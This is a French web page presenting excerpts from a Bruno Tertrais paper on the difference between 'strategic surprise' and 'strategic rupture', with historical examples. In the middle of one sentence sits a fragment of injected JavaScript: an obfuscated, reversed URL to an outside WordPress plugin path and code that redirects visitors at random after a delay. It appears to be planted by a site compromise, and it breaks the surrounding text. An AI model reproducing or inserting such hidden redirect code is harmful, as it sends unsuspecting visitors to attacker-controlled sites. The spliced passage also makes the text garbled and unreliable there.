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« Surprises Stratégiques » Vs. « Ruptures Stratégiques »

Présenté par Natacha,

Produit par Think-Tanks’TV.

Source :

FONDATION  POUR  LA  RECHERCHE  STRATÉGIQUE

Son expertise couvre le spectre complet des questions de sécurité et de défense – de l’analyse des aspects technico-opérationnels à la connaissance fine des zones stratégiques, en passant par l’économie de défense ou l’analyse des risques transverses comme la prolifération des armes de destruction massive.

Son site : frstrategie.org .

Bruno TERTRAIS

Géopolitique des ruptures stratégiques contemporaines. 2015/11/02

 

 

Excerpts:

 

 

Les Livres blancs de 2008 et 2013 ont inscrit les notions de « surprise stratégique » et de « rupture stratégique » dans le corpus doctrinal officiel français en matière de sécurité et de défense.

Ces deux notions sont parfois confondues.

La « surprise stratégique » est une notion centrale de la réflexion politico-militaire occidentale contemporaine, et a fait l’objet d’analyses récentes en France. Elle se réfère à un événement majeur qui n’avait pas été prévu, ou dont la probabilité de réalisation était jugée négligeable, par la plupart des grands acteurs.

La « rupture stratégique » est en revanche une notion plus française, qui n’a pas d’équivalent réel en anglais, et qui mérite donc un approfondissement conceptuel et intellectuel. Sa caractéristique principale est d’être multidisciplinaire : la rupture peut être militaire, technologique, économique ou sociétale. Peu importe son origine – elle se définit dans l’acception qui nous intéresse par ses effets majeurs, de nature à transformer profondément la sphère de sécurité et de défense.

Ce sont évidemment des notions relatives, à triple égard : d’abord parce que n’est surprise ou rupture que l’événement qui se distingue des autres ; ensuite parce que chacun n’a pas la même définition de ce qui constitue une surprise ou une rupture ; enfin parce qu’un événement donné peut être une surprise ou une rupture pour un pays, mais pas pour un autre.

Leur analyse doit donc être comparatiste.

Toutes les surprises ne sont pas des ruptures, et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les ruptures ne sont pas des surprises.

Certains événements sont les deux à la fois : on peut penser à l’opération Barbarossa, à l’attaque de Pearl Harbour, à l’installation de missiles à Cuba, à l’invasion de l’Afghanistan, à la chute du Mur, aux attentats du 11 septembre 2001, mais aussi, sans doute, à la crise financière de 2008 en raison de ses effets induits (crise mondiale et crise européenne spécifique), ou encore aux révoltes arabes.

Mais la guerre du Kippour, vraie surprise stratégique, ne fut pas une rupture (même si le voyage d’Anouar el-Sadate à Jérusalem, conséquence en partie induite, relevait davantage de cette catégorie).

À l’inverse, des événements tels que la guerre des Six-Jours, la dislocation de l’Union soviétique, ou encore le premier essai nucléaire nord-coréen, furent des ruptures sans être à proprement parler des surprises.

 

 

 

Debate: